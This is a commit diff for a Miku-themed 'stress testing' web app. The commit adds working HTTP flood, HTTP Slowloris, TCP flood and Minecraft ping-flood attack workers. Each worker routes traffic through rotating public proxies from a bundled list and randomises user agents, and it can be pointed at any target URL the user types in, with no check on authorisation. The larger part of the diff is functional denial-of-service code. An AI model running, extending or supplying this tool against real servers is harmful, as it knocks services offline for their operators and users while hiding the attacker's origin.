feature: 🤺 better proxy parsing, added methods: slowloris, mc ping, tcp flood

README.md

@@ -13,7 +13,10 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte
 - 📊 **Live Stats**: Track the success and failure of each attack in real-time. See how many packets are sent and whether they succeed or fail.
 - 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸
 - 📡 **Attack Methods:**:
-  - `HTTP` - Send HTTP requests
+  - `HTTP Flood` - Send random HTTP requests
+  - `HTTP Slowloris` - Send HTTP requests and keep the connection open
+  - `Minecraft Ping` - Send Minecraft ping/motd requests
+  - `TCP Flood` - Send random TCP packets
 
 ## Setup 🛠️
 
@@ -58,7 +61,7 @@ Make sure you have the following installed:
 Once the server is up and running, you can interact with it via the frontend:
 
 1. **Start Attack**:
-   - Set up the attack parameters: target URL, attack method (HTTP, etc.), packet size, duration, and delay.
+   - Set up the attack parameters: target URL, attack method (HTTP Flood, Slowloris, TCP, etc...), packet size, duration, and delay.
    - Press "Start Attack" to initiate the stress test.
 
 2. **Stop Attack**:
@@ -69,7 +72,7 @@ Once the server is up and running, you can interact with it via the frontend:
 ```json
 {
   "target": "http://example.com",
-  "attackMethod": "http",
+  "attackMethod": "http_flood",
   "packetSize": 512,
   "duration": 60,
   "packetDelay": 500
@@ -83,8 +86,6 @@ Each attack type is handled in a separate worker thread, ensuring that the main
 ## To-Do 📝
 
 - Add more attack methods:
-  - Minecraft 🎮
-  - TCP 💻
   - UDP 🌐
   - DNS 📡
   - And more! 🔥
@@ -107,12 +108,13 @@ For example:
 
 ```javascript
 const attackHandlers = {
-  http: "./workers/httpAttack.js",
-  minecraft: "./workers/minecraftAttack.js",
-  udp: "./workers/udpAttack.js",
-  tcp: "./workers/tcpAttack.js",
-  dns: "./workers/dnsAttack.js",
+  http_flood: "./workers/httpFloodAttack.js",
+  http_slowloris: "./workers/httpSlowlorisAttack.js",
+  tcp_flood: "./workers/tcpFloodAttack.js",
+  minecraft_ping: "./workers/minecraftPingAttack.js",
+
   // Add more protocols as needed!
+  your_protocol: "./workers/yourProtocolAttack.js"
 };
 ```
 

data/proxies.txt

@@ -1,8 +1,3 @@
-http://219.129.167.82:2222
-http://165.232.129.150:80
-http://103.86.109.38:80
-http://8.219.97.248:80
-http://103.49.202.252:80
 socks4://199.58.184.97:4145
 socks4://192.111.139.163:19404
 socks4://199.187.210.54:4145

package.json

@@ -5,7 +5,7 @@
   "type": "module",
   "scripts": {
     "dev": "concurrently --ks SIGKILL -n \"Client,Server\" \"npm run dev:client\" \"npm run dev:server\"",
-    "dev:server": "node server/index.js",
+    "dev:server": "tsx watch server/",
     "dev:client": "vite",
     "build": "vite build",
     "lint": "eslint .",
@@ -19,10 +19,13 @@
     "react": "^18.3.1",
     "react-dom": "^18.3.1",
     "socket.io": "^4.7.4",
-    "socket.io-client": "^4.7.4"
+    "socket.io-client": "^4.7.4",
+    "socks-proxy-agent": "^8.0.5",
+    "tsx": "^4.19.2"
   },
   "devDependencies": {
     "@eslint/js": "^9.9.1",
+    "@types/express": "^5.0.0",
     "@types/react": "^18.3.5",
     "@types/react-dom": "^18.3.0",
     "@vitejs/plugin-react": "^4.3.1",

server/fileLoader.ts

@@ -1,12 +1,14 @@
 import fs from "fs";
 import { join } from "path";
 
+import { Proxy } from "./lib";
+
 const currentPath = () => {
   const path = process.cwd();
   return path === "/" ? "." : path;
 };
 
-const loadFileLines = (filePath) => {
+const loadFileLines = (filePath: string) => {
   try {
     return fs
       .readFileSync(filePath, "utf8")
@@ -24,11 +26,11 @@ export function loadUserAgents() {
   return loadFileLines(join(currentPath(), "data/uas.txt"));
 }
 
-export function loadProxies() {
+export function loadProxies(): Proxy[] {
   const lines = loadFileLines(join(currentPath(), "data/proxies.txt"));
   return lines.map((line) => {
     const [protocol, addr] = line.split("://");
     const [host, port] = addr.split(":");
-    return { protocol, host, port };
+    return { protocol, host, port: parseInt(port) };
   });
 }

server/index.ts

@@ -5,12 +5,16 @@ import { Server } from "socket.io";
 import { fileURLToPath } from "url";
 import { Worker } from "worker_threads";
 
-import { loadProxies, loadUserAgents } from "./utils/fileLoader.js";
-import { filterProxies } from "./utils/proxyUtils.js";
+import { loadProxies, loadUserAgents } from "./fileLoader";
+import { AttackMethod } from "./lib";
+import { filterProxies } from "./proxyUtils";
 
 // Define the workers based on attack type
-const attackWorkers = {
-  http: "./workers/httpAttack.js",
+const attackWorkers: { [key in AttackMethod]: string } = {
+  http_flood: "./workers/httpFloodAttack.js",
+  http_slowloris: "./workers/httpSlowlorisAttack.js",
+  tcp_flood: "./workers/tcpFloodAttack.js",
+  minecraft_ping: "./workers/minecraftPingAttack.js",
 };
 
 const __filename = fileURLToPath(import.meta.url);
@@ -25,8 +29,8 @@ const io = new Server(httpServer, {
   },
 });
 
-const proxies = loadProxies(join(__dirname, "../data/proxies.txt"));
-const userAgents = loadUserAgents(join(__dirname, "../data/uas.txt"));
+const proxies = loadProxies();
+const userAgents = loadUserAgents();
 
 console.log("Proxies loaded:", proxies.length);
 console.log("User agents loaded:", userAgents.length);
@@ -42,7 +46,7 @@ io.on("connection", (socket) => {
   });
 
   socket.on("startAttack", (params) => {
-    const { target, duration, packetDelay, attackMethod } = params;
+    const { target, duration, packetDelay, attackMethod, packetSize } = params;
     const filteredProxies = filterProxies(proxies, attackMethod);
     const attackWorkerFile = attackWorkers[attackMethod];
 
@@ -65,32 +69,37 @@ io.on("connection", (socket) => {
         userAgents,
         duration,
         packetDelay,
+        packetSize,
       },
     });
 
     worker.on("message", (message) => socket.emit("stats", message));
+
     worker.on("error", (error) => {
       console.error(`Worker error: ${error.message}`);
       socket.emit("stats", { log: `❌ Worker error: ${error.message}` });
     });
+
     worker.on("exit", (code) => {
       console.log(`Worker exited with code ${code}`);
       socket.emit("attackEnd");
     });
 
-    socket.worker = worker;
+    socket["worker"] = worker;
   });
 
   socket.on("stopAttack", () => {
-    if (socket.worker) {
-      socket.worker.terminate();
+    const worker = socket["worker"];
+    if (worker) {
+      worker.terminate();
       socket.emit("attackEnd");
     }
   });
 
   socket.on("disconnect", () => {
-    if (socket.worker) {
-      socket.worker.terminate();
+    const worker = socket["worker"];
+    if (worker) {
+      worker.terminate();
     }
     console.log("Client disconnected");
   });

server/lib.ts

@@ -0,0 +1,13 @@
+export type ProxyProtocol = "http" | "https" | "socks4" | "socks5" | string;
+
+export interface Proxy {
+  protocol: ProxyProtocol;
+  host: string;
+  port: number;
+}
+
+export type AttackMethod =
+  | "http_flood"
+  | "http_slowloris"
+  | "tcp_flood"
+  | "minecraft_ping";

server/proxyUtils.ts

@@ -0,0 +1,53 @@
+import { AttackMethod, Proxy, ProxyProtocol } from "./lib";
+
+const DEFAULT_HTTP_PORT = 8080;
+const DEFAULT_PROTOCOL: ProxyProtocol = "http";
+
+const COMMON_PORTS: { [port: number]: ProxyProtocol } = {
+  80: "http",
+  443: "https",
+  1080: "socks5",
+  1081: "socks4",
+  8080: "http",
+  8443: "https",
+};
+
+const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = {
+  http_flood: ["http", "https", "socks4", "socks5"],
+  http_slowloris: ["socks4", "socks5"],
+  tcp_flood: ["socks4", "socks5"],
+  minecraft_ping: ["socks4", "socks5"],
+};
+
+/**
+ * Attempts to infer the protocol based on the port.
+ */
+function inferProtocol(port: number | undefined): ProxyProtocol {
+  if (port !== undefined && COMMON_PORTS[port]) {
+    return COMMON_PORTS[port];
+  }
+  return DEFAULT_PROTOCOL;
+}
+
+/**
+ * Ensures a proxy object is safe and normalized by adding default values if missing.
+ */
+function normalizeProxy(proxy: Proxy): Proxy {
+  const normalizedPort = proxy.port || DEFAULT_HTTP_PORT;
+  const normalizedProtocol = proxy.protocol || inferProtocol(normalizedPort);
+
+  return {
+    ...proxy,
+    port: normalizedPort,
+    protocol: normalizedProtocol,
+  };
+}
+
+/**
+ * Filters proxies based on the attack method and ensures safe parsing of proxies.
+ */
+export function filterProxies(proxies: Proxy[], method: AttackMethod): Proxy[] {
+  return proxies
+    .map(normalizeProxy)
+    .filter((proxy) => METHODS[method].includes(proxy.protocol));
+}

server/utils/mcUtils.js

@@ -0,0 +1,177 @@
+// Adapted from: https://github.com/Cryptkeeper/mcping-js/
+import net from "net";
+import { SocksProxyAgent } from "socks-proxy-agent";
+
+class MinecraftProtocol {
+  static writeVarInt(val) {
+    // "VarInts are never longer than 5 bytes"
+    // https://wiki.vg/Data_types#VarInt_and_VarLong
+    const buf = Buffer.alloc(5);
+    let written = 0;
+
+    while (true) {
+      if ((val & 0xffffff80) === 0) {
+        buf.writeUInt8(val, written++);
+        break;
+      } else {
+        buf.writeUInt8((val & 0x7f) | 0x80, written++);
+        val >>>= 7;
+      }
+    }
+
+    return buf.slice(0, written);
+  }
+
+  static writeString(val) {
+    return Buffer.from(val, "UTF-8");
+  }
+
+  static writeUShort(val) {
+    return Buffer.from([val >> 8, val & 0xff]);
+  }
+
+  static concat(chunks) {
+    let length = 0;
+
+    for (const chunk of chunks) {
+      length += chunk.length;
+    }
+
+    const buf = [MinecraftProtocol.writeVarInt(length), ...chunks];
+
+    return Buffer.concat(buf);
+  }
+}
+
+class MinecraftBufferReader {
+  constructor(buffer) {
+    this._buffer = buffer;
+    this._offset = 0;
+  }
+
+  readVarInt() {
+    let val = 0;
+    let count = 0;
+
+    while (true) {
+      const b = this._buffer.readUInt8(this._offset++);
+
+      val |= (b & 0x7f) << (count++ * 7);
+
+      if ((b & 0x80) != 128) {
+        break;
+      }
+    }
+
+    return val;
+  }
+
+  readString() {
+    const length = this.readVarInt();
+    const val = this._buffer.toString(
+      "UTF-8",
+      this._offset,
+      this._offset + length
+    );
+
+    // Advance the reader index forward by the string length
+    this._offset += length;
+
+    return val;
+  }
+
+  offset() {
+    return this._offset;
+  }
+}
+
+export function pingMinecraftServer(host, port, proxy) {
+  return new Promise((resolve, reject) => {
+    const { protocol, host: proxyHost, port: proxyPort } = proxy;
+
+    const agent = new SocksProxyAgent(
+      `${protocol}://${proxyHost}:${proxyPort}`
+    );
+
+    const socket = net.createConnection({
+      host: host,
+      port: port,
+      agent: agent,
+    });
+
+    const timeoutTask = setTimeout(() => {
+      socket.emit("error", new Error("Socket timeout"));
+    }, 5000);
+
+    const closeSocket = () => {
+      socket.destroy();
+      clearTimeout(timeoutTask);
+    };
+
+    let didFireError = false;
+
+    const handleErr = (err) => {
+      closeSocket();
+      if (!didFireError) {
+        didFireError = true;
+        reject(err);
+      }
+    };
+
+    socket.setNoDelay(true);
+
+    socket.on("connect", () => {
+      const handshake = MinecraftProtocol.concat([
+        MinecraftProtocol.writeVarInt(0),
+        MinecraftProtocol.writeVarInt(340),
+        MinecraftProtocol.writeVarInt(host.length),
+        MinecraftProtocol.writeString(host),
+        MinecraftProtocol.writeUShort(port),
+        MinecraftProtocol.writeVarInt(1),
+      ]);
+
+      socket.write(handshake);
+
+      const request = MinecraftProtocol.concat([
+        MinecraftProtocol.writeVarInt(0),
+      ]);
+
+      socket.write(request);
+    });
+
+    let incomingBuffer = Buffer.alloc(0);
+
+    socket.on("data", (data) => {
+      incomingBuffer = Buffer.concat([incomingBuffer, data]);
+
+      if (incomingBuffer.length < 5) {
+        return;
+      }
+
+      const bufferReader = new MinecraftBufferReader(incomingBuffer);
+      const length = bufferReader.readVarInt();
+
+      if (incomingBuffer.length - bufferReader.offset() < length) {
+        return;
+      }
+
+      const id = bufferReader.readVarInt();
+
+      if (id === 0) {
+        const reply = bufferReader.readString();
+
+        try {
+          const message = JSON.parse(reply);
+          resolve(message);
+          closeSocket();
+        } catch (err) {
+          handleErr(err);
+        }
+      } else {
+        handleErr(new Error("Received unexpected packet"));
+      }
+    });
+
+    socket.on("error", handleErr);
+  });
+}

server/utils/proxyUtils.js

@@ -1,9 +0,0 @@
-const METHODS = {
-  http: ["http", "https"],
-  tcp: ["socks4", "socks5"],
-  udp: ["socks4", "socks5"],
-};
-
-export function filterProxies(proxies, method) {
-  return proxies.filter((proxy) => METHODS[method].includes(proxy.protocol));
-}

server/utils/randomUtils.js

@@ -0,0 +1,18 @@
+export function randomBoolean() {
+  return Math.random() < 0.5;
+}
+
+export function randomString(length) {
+  let result = "";
+  const characters =
+    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+  const charactersLength = characters.length;
+  for (let i = 0; i < length; i++) {
+    result += characters.charAt(Math.floor(Math.random() * charactersLength));
+  }
+  return result;
+}
+
+export function randomInteger(min, max) {
+  return Math.floor(Math.random() * (max - min + 1)) + min;
+}

server/workers/httpAttack.js

@@ -1,49 +0,0 @@
-import axios from "axios";
-import { parentPort, workerData } from "worker_threads";
-
-const startAttack = () => {
-  const { target, proxies, userAgents, duration, packetDelay } = workerData;
-
-  let fixedTarget = target.startsWith("http") ? target : `http://${target}`;
-  let totalPackets = 0;
-  const startTime = Date.now();
-
-  const sendRequest = async (proxy, userAgent) => {
-    try {
-      await axios.get(fixedTarget, {
-        proxy: { host: proxy.host, port: proxy.port },
-        headers: { "User-Agent": userAgent },
-        timeout: 2000,
-      });
-      totalPackets++;
-      parentPort.postMessage({
-        log: `✅ Request successful from ${proxy.host}:${proxy.port} to ${fixedTarget}`,
-        totalPackets,
-      });
-    } catch (error) {
-      parentPort.postMessage({
-        log: `❌ Request failed from ${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
-        totalPackets,
-      });
-    }
-  };
-
-  const interval = setInterval(() => {
-    const elapsedTime = (Date.now() - startTime) / 1000;
-
-    if (elapsedTime >= duration) {
-      clearInterval(interval);
-      parentPort.postMessage({ log: "Attack finished", totalPackets });
-      process.exit(0);
-    }
-
-    const proxy = proxies[Math.floor(Math.random() * proxies.length)];
-    const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)];
-
-    sendRequest(proxy, userAgent);
-  }, packetDelay);
-};
-
-if (workerData) {
-  startAttack();
-}

server/workers/httpFloodAttack.js

@@ -0,0 +1,76 @@
+import axios from "axios";
+import { SocksProxyAgent } from "socks-proxy-agent";
+import { parentPort, workerData } from "worker_threads";
+
+import { randomBoolean, randomString } from "../utils/randomUtils.js";
+
+const startAttack = () => {
+  const { target, proxies, userAgents, duration, packetDelay, packetSize } =
+    workerData;
+
+  const fixedTarget = target.startsWith("http") ? target : `https://${target}`;
+  let totalPackets = 0;
+  const startTime = Date.now();
+
+  const sendRequest = async (proxy, userAgent) => {
+    try {
+      const config = {
+        headers: { "User-Agent": userAgent },
+        timeout: 2000,
+        validateStatus: (status) => {
+          return status < 500;
+        },
+      };
+
+      if (proxy.protocol === "http") {
+        config.proxy = {
+          host: proxy.host,
+          port: proxy.port,
+        };
+      } else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") {
+        config.httpAgent = new SocksProxyAgent(
+          `${proxy.protocol}://${proxy.host}:${proxy.port}`
+        );
+      }
+
+      const isGet = packetSize > 64 ? false : randomBoolean();
+      const payload = randomString(packetSize);
+
+      if (isGet) {
+        await axios.get(`${fixedTarget}/${payload}`, config);
+      } else {
+        await axios.post(fixedTarget, payload, config);
+      }
+
+      totalPackets++;
+      parentPort.postMessage({
+        log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
+        totalPackets,
+      });
+    } catch (error) {
+      parentPort.postMessage({
+        log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
+        totalPackets,
+      });
+    }
+  };
+
+  const interval = setInterval(() => {
+    const elapsedTime = (Date.now() - startTime) / 1000;
+
+    if (elapsedTime >= duration) {
+      clearInterval(interval);
+      parentPort.postMessage({ log: "Attack finished", totalPackets });
+      process.exit(0);
+    }
+
+    const proxy = proxies[Math.floor(Math.random() * proxies.length)];
+    const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)];
+
+    sendRequest(proxy, userAgent);
+  }, packetDelay);
+};
+
+if (workerData) {
+  startAttack();
+}

server/workers/httpSlowlorisAttack.js

@@ -0,0 +1,85 @@
+import http from "http";
+import { SocksProxyAgent } from "socks-proxy-agent";
+import { parentPort, workerData } from "worker_threads";
+
+import { randomString } from "../utils/randomUtils.js";
+
+const startAttack = () => {
+  const { target, proxies, userAgents, duration, packetDelay, packetSize } =
+    workerData;
+
+  const fixedTarget = target.startsWith("http") ? target : `http://${target}`;
+  const protocolPort = target.startsWith("https") ? 443 : 80;
+  const targetPort = fixedTarget.includes(":")
+    ? parseInt(fixedTarget.split(":")[2])
+    : protocolPort;
+  const targetHost = fixedTarget.replace(/^https?:\/\//, "");
+
+  let totalPackets = 0;
+  const startTime = Date.now();
+
+  const sendRequest = async (proxy, userAgent) => {
+    const options = {
+      hostname: targetHost,
+      port: targetPort,
+      path: "/",
+      method: "POST",
+      headers: {
+        "User-Agent": userAgent,
+        Connection: "keep-alive",
+        "Transfer-Encoding": "chunked",
+        Host: targetHost,
+      },
+      agent: new SocksProxyAgent(
+        `${proxy.protocol}://${proxy.host}:${proxy.port}`
+      ),
+    };
+
+    const req = http.request(options, (res) => {
+      res.on("data", () => {});
+      res.on("end", () => {});
+    });
+
+    req.on("error", (err) => {
+      parentPort.postMessage({
+        log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${err.message}`,
+        totalPackets,
+      });
+    });
+
+    req.on("close", () => {
+      parentPort.postMessage({
+        log: `⚠ Connection closed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
+        totalPackets,
+      });
+    });
+
+    const payload = randomString(packetSize);
+    req.write(payload);
+
+    totalPackets++;
+    parentPort.postMessage({
+      log: `✅ Request sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
+      totalPackets,
+    });
+  };
+
+  const interval = setInterval(() => {
+    const elapsedTime = (Date.now() - startTime) / 1000;
+
+    if (elapsedTime >= duration) {
+      clearInterval(interval);
+      parentPort.postMessage({ log: "Attack finished", totalPackets });
+      process.exit(0);
+    }
+
+    const proxy = proxies[Math.floor(Math.random() * proxies.length)];
+    const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)];
+
+    sendRequest(proxy, userAgent);
+  }, packetDelay);
+};
+
+if (workerData) {
+  startAttack();
+}

server/workers/minecraftPingAttack.js

@@ -0,0 +1,49 @@
+import { parentPort, workerData } from "worker_threads";
+
+import { pingMinecraftServer } from "../utils/mcUtils.js";
+
+const startAttack = () => {
+  const { target, proxies, duration, packetDelay } = workerData;
+
+  const [targetHost, targetPort] = target.split(":");
+  const parsedPort = parseInt(targetPort || "25565", 10);
+  const fixedTarget = `tcp://${targetHost}:${parsedPort}`;
+
+  let totalPackets = 0;
+  const startTime = Date.now();
+
+  const interval = setInterval(() => {
+    const elapsedTime = (Date.now() - startTime) / 1000;
+
+    if (elapsedTime >= duration) {
+      clearInterval(interval);
+      parentPort.postMessage({ log: "Attack finished", totalPackets });
+      process.exit(0);
+    }
+
+    const proxy = proxies[Math.floor(Math.random() * proxies.length)];
+    pingMinecraftServer(targetHost, parsedPort, proxy)
+      .then((status) => {
+        totalPackets++;
+
+        const players = status?.players?.online || 0;
+        const max = status?.players?.max || 0;
+        const version = status?.version?.name || "";
+        const banner = `${version}: ${players}/${max}`;
+        parentPort.postMessage({
+          log: `✅ MC Ping+MOTD Request from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget} (${banner})`,
+          totalPackets,
+        });
+      })
+      .catch((e) => {
+        parentPort.postMessage({
+          log: `❌ MC Ping+MOTD Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${e.message}`,
+          totalPackets,
+        });
+      });
+  }, packetDelay);
+};
+
+if (workerData) {
+  startAttack();
+}

server/workers/tcpFloodAttack.js

@@ -0,0 +1,74 @@
+import net from "net";
+import { SocksProxyAgent } from "socks-proxy-agent";
+import { parentPort, workerData } from "worker_threads";
+
+import { randomString } from "../utils/randomUtils.js";
+
+const startAttack = () => {
+  const { target, proxies, duration, packetDelay, packetSize } = workerData;
+
+  const [targetHost, targetPort] = target.split(":");
+  const port = parseInt(targetPort, 10);
+  const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`;
+
+  let totalPackets = 0;
+  const startTime = Date.now();
+
+  const sendPacket = async (proxy) => {
+    const socket = new net.Socket();
+    let open = false;
+    socket.setTimeout(2000);
+
+    const proxyAgent = new SocksProxyAgent(
+      `${proxy.protocol}://${proxy.host}:${proxy.port}`
+    );
+
+    setInterval(() => {
+      if (socket.writable && open) {
+        socket.write(randomString(packetSize));
+      }
+    }, [1000]);
+
+    socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => {
+      totalPackets++;
+      open = true;
+      parentPort.postMessage({
+        log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
+        totalPackets,
+      });
+    });
+
+    socket.on("close", () => {
+      open = false;
+    });
+
+    socket.on("timeout", () => {
+      socket.destroy();
+      open = false;
+    });
+
+    socket.on("error", (err) => {
+      parentPort.postMessage({
+        log: `❌ Packet failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${err.message}`,
+        totalPackets,
+      });
+    });
+  };
+
+  const interval = setInterval(() => {
+    const elapsedTime = (Date.now() - startTime) / 1000;
+
+    if (elapsedTime >= duration) {
+      clearInterval(interval);
+      parentPort.postMessage({ log: "Attack finished", totalPackets });
+      process.exit(0);
+    }
+
+    const proxy = proxies[Math.floor(Math.random() * proxies.length)];
+    sendPacket(proxy);
+  }, packetDelay);
+};
+
+if (workerData) {
+  startAttack();
+}

src/App.tsx

@@ -10,7 +10,7 @@ function App() {
   const [logs, setLogs] = useState<string[]>([]);
   const [progress, setProgress] = useState(0);
   const [target, setTarget] = useState("");
-  const [attackMethod, setAttackMethod] = useState("http");
+  const [attackMethod, setAttackMethod] = useState("http_flood");
   const [packetSize, setPacketSize] = useState(64);
   const [duration, setDuration] = useState(60);
   const [packetDelay, setPacketDelay] = useState(100);
@@ -94,7 +94,7 @@ function App() {
     setLogs((prev) => [message, ...prev].slice(0, 12));
   };
 
-  const startAttack = () => {
+  const startAttack = (isQuick?: boolean) => {
     if (!target.trim()) {
       alert("Please enter a target!");
       return;
@@ -110,21 +110,24 @@ function App() {
 
     // Play audio
     if (audioRef.current) {
-      audioRef.current.currentTime = 0;
+      audioRef.current.currentTime = isQuick ? 9.5 : 0;
       audioRef.current.play();
     }
 
     // Start attack after audio intro
-    const timeout = setTimeout(() => {
-      setActuallyAttacking(true);
-      socket.emit("startAttack", {
-        target,
-        packetSize,
-        duration,
-        packetDelay,
-        attackMethod,
-      });
-    }, 10250);
+    const timeout = setTimeout(
+      () => {
+        setActuallyAttacking(true);
+        socket.emit("startAttack", {
+          target,
+          packetSize,
+          duration,
+          packetDelay,
+          attackMethod,
+        });
+      },
+      isQuick ? 700 : 10250
+    );
     setCurrentTask(timeout);
   };
 
@@ -175,10 +178,11 @@ function App() {
                 className="px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none"
                 disabled={isAttacking}
               />
-              <button
-                onClick={isAttacking ? stopAttack : startAttack}
-                className={`
-                  px-8 py-2 rounded-lg font-semibold text-white transition-all
+              <div className="flex gap-2 items-center">
+                <button
+                  onClick={() => (isAttacking ? stopAttack() : startAttack())}
+                  className={`
+                  px-8 py-2 rounded-lg font-semibold text-white transition-all w-full
                   ${
                     isAttacking
                       ? "bg-red-500 hover:bg-red-600"
@@ -186,10 +190,27 @@ function App() {
                   }
                   flex items-center justify-center gap-2
                 `}
-              >
-                <Wand2 className="w-5 h-5" />
-                {isAttacking ? "Stop Beam" : "Start Miku Beam"}
-              </button>
+                >
+                  <Wand2 className="w-5 h-5" />
+                  {isAttacking ? "Stop Beam" : "Start Miku Beam"}
+                </button>
+                <button
+                  onClick={() =>
+                    isAttacking ? stopAttack() : startAttack(true)
+                  }
+                  className={`
+                  px-2 py-2 rounded-lg font-semibold text-white transition-all
+                  ${
+                    isAttacking
+                      ? "bg-gray-500 hover:bg-red-600"
+                      : "bg-cyan-500 hover:bg-cyan-600"
+                  }
+                  flex items-center justify-center gap-2
+                `}
+                >
+                  <Zap className="w-5 h-5" />
+                </button>
+              </div>
             </div>
 
             <div className="grid grid-cols-4 gap-4">
@@ -203,9 +224,10 @@ function App() {
                   className="w-full px-4 py-2 rounded-lg border border-pink-200 focus:border-pink-500 focus:ring-2 focus:ring-pink-200 outline-none"
                   disabled={isAttacking}
                 >
-                  <option value="http">HTTP</option>
-                  <option value="tcp">TCP</option>
-                  <option value="udp">UDP</option>
+                  <option value="http_flood">HTTP/Flood</option>
+                  <option value="http_slowloris">HTTP/Slowloris</option>
+                  <option value="tcp_flood">TCP/Flood</option>
+                  <option value="minecraft_ping">Minecraft/Ping</option>
                 </select>
               </div>
               <div>